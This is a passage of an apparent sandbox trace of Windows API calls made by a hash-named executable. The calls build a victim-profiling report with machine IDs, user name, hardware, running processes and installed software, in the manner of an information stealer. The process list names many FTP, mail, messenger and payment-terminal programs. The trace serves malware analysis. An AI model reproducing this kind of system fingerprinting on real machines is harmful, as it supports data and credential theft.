WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016"
[0054.971] RegQueryValueExA (in: hKey=0x514, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x1816b0, lpData=0x181ec4, lpcbData=0x1816c0*=0x400 | out: lpType=0x1816b0*=0x1, lpData="16.0.4266.1001", lpcbData=0x1816c0*=0xf) returned 0x0
[0054.971] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016", lpString2=" [" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 ["
[0054.971] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [", lpString2="16.0.4266.1001" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- 